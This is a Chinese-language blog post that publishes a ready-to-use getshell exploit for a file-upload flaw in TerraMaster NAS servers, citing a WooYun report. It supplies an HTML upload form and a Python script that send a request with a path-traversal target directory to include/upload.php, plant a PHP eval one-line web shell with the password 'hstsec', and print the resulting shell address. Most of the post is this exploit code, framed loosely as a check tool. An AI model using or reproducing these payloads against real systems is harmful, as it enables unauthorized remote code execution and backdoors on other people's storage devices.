正在阅读:

TerraMaster NAS网络存储服务器getshell exploit

5,937

TerraMaster介绍

Terra Master Storage System Inc. 总部位于美国纽约,从事高端专业存储的开发与销售已经超过16年的历史,是美国著名的专业储存品牌,Terra Master在银行、保险、学校、中小企业及高端家庭存储市场拥有较高的市场份额和良好的声誉。

2008年,Terra Master (铁威马)正式进入中国。将陆续推出Terra Master品牌的系列存储产品,如双硬盘RAID磁盘阵列存储系统、四硬盘RAID磁盘阵列存储系统、五硬盘RAID磁盘阵列存储系统、NDAS网络存储系统、NAS网络存储系统等产品。

近期乌云上面暴了好多文件上传的0day,铁威马就是其中一家,详情请看乌云的文章:

http://www.wooyun.org/bugs/wooyun-2015-095059

看完了乌云文章以后就想使用py折腾一个exp出来,方便此类站点的检测,于是有了正面的html版的exploit

TerraMaster 文件上传漏洞 exploit

<!DOCTYPE html>
<html>
<head lang="en">
    <meta charset="UTF-8">
    <style type="text/css">
        fieldset {
            width: 40%;
            border: 2px dotted red;
            margin-top: 16px;
            padding: 10px 20px 30px 20px;
        }

        legend {
            font: bold 0.8em Arial, Helvetica, sans-serif;
            color: #0000ff;
            background-color: #FFFFFF;
        }
    </style>
    <script type="text/javascript">
        function getFilename(controlID, fileBox) {
            if (fileBox.value) {
                var filename = fileBox.value;
                var arr = controlID.split(',');
                for (var i = 0; i < arr.length; i++) {
                    document.getElementById(arr[i]).value = filename;
                }
            }
        }
    </script>
    <title>TerraMaster NAS网络存储服务器无限制getshell等漏洞</title>
</head>
<body>
<h3>TerraMaster 文件上传漏洞 exploit by:独自等待</h3>

<form id="exp" enctype="multipart/form-data" method="post">
    <fieldset>
        <legend>文件上传参数配置</legend>
        <p>目标URL: <input type="text" id="url" style="width: 300px"/></p>
        <input type="hidden" id="fname" name="Filename"/>
        <input type="hidden" id="f2name" name="name"/>
        <input type="hidden" name="chunk" value="0">
        <input type="hidden" name="chunks" value="1">
        <input type="file" name="file" onchange="getFilename('fname,f2name',this.form.file)">
        <input type="submit" name="Upload" value="给老子上!"
               onclick="exp.action=url.value + '/include/upload.php?targetDir=../cgi-bin/filemanage/'">
    </fieldset>
</form>
<p>Shell地址位于目标URL+/cgi-bin/filemanage/(+文件名为你上传时的文件名)</p>
<p>漏洞详情:<a href="http://www.wooyun.org/bugs/wooyun-2015-095059" target="_blank">http://www.wooyun.org/bugs/wooyun-2015-095059</a></p>
</body>
</html>

使用方法很简单,将上面的代码保存为html,然后输入目标的url,然后上传即可,如下图:

TerraMaster 文件上传漏洞

TerraMaster 文件上传漏洞 exploit python版

#!/usr/bin/env python
# -*- coding: gbk -*-
# -*- coding: utf-8 -*-
# Date: 2015/5/7
# Created by 独自等待
# 博客 http://www.waitalone.cn/
import sys, os, time

try:
    import requests
except ImportError:
    raise SystemExit('\n[!] requests模块导入错误,请执行pip install requests安装!')


def usage():
    # os.system(['clear', 'cls'][os.name == 'nt'])
    print '+' + '-' * 60 + '+'
    print '\t Python TerraMaster getshell exploit'
    print '\t   Blog:http://www.waitalone.cn/'
    print '\t\t Code BY: 独自等待'
    print '\t\t Time:2015-05-07'
    print '+' + '-' * 60 + '+'
    if len(sys.argv) != 2:
        print '用法: ' + os.path.basename(sys.argv[0]) + ' TerraMaster 网站地址'
        print '实例: ' + os.path.basename(sys.argv[0]) + ' http://www.waitalone.cn/'
        sys.exit()


def getshell(url):
    '''
    TerraMaster文件上传GetShell函数
    :param url:  TerraMaster url地址
    :return:     返回得到的shell地址
    '''
    exp_url = url + 'include/upload.php?targetDir=../cgi-bin/filemanage/'
    headers = {'User-Agent': 'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)'}
    filename = 'safe.php'
    with open(filename, 'wb') as fp:
        fp.write('<?php @eval($_POST[hstsec]);?>')
    files = {
        'Filename': (None, filename),
        'name': (None, filename),
        'chunk': (None, '0'),
        'chunks': (None, '1'),
        'file': (filename, open(filename, 'rb'), 'application/octet-stream'),
        'Upload': (None, '给老子上!')
    }
    try:
        requests.post(exp_url, files=files, headers=headers)
        shell = url + 'cgi-bin/filemanage/' + filename
        reqcode = requests.get(shell, headers=headers).status_code
    except Exception, msg:
        print '\n[x] 发生错误了,卧槽!!!:', msg
    else:
        if reqcode == 200: return shell


if __name__ == '__main__':
    usage()
    start = time.time()
    url = sys.argv[1]
    if url[-1] != '/': url += '/'
    ok = getshell(url)
    try:
        os.remove('safe.php')
    except Exception:
        print '\n[x] 删除临时文件失败,请手工删除!'
    if ok:
        print '\n[!] 爷,人品暴发了,成功得到Shell:\n\n%s 密码:%s' % (ok, 'hstsec')
    else:
        print '\n[x] 报告大爷,本站不存在此漏洞!'
    print '\n报告爷,脚本执行完毕,用时:', time.time() - start, '秒!'

TerraMaster 文件上传漏洞

html和python版exploit code请君任选。。

目前有:1条访客评论,博主回复1

  1. SEC09
    2015-07-11 13:08

    python写的不错。

    • 独自等待
      2015-07-13 22:04

      谢谢,不过我也初学不久,还有好多要学习的地方,兄弟们多教教我。

留下脚印,证明你来过。

*

*

流汗坏笑撇嘴大兵流泪发呆抠鼻吓到偷笑得意呲牙亲亲疑问调皮可爱白眼难过愤怒惊讶鼓掌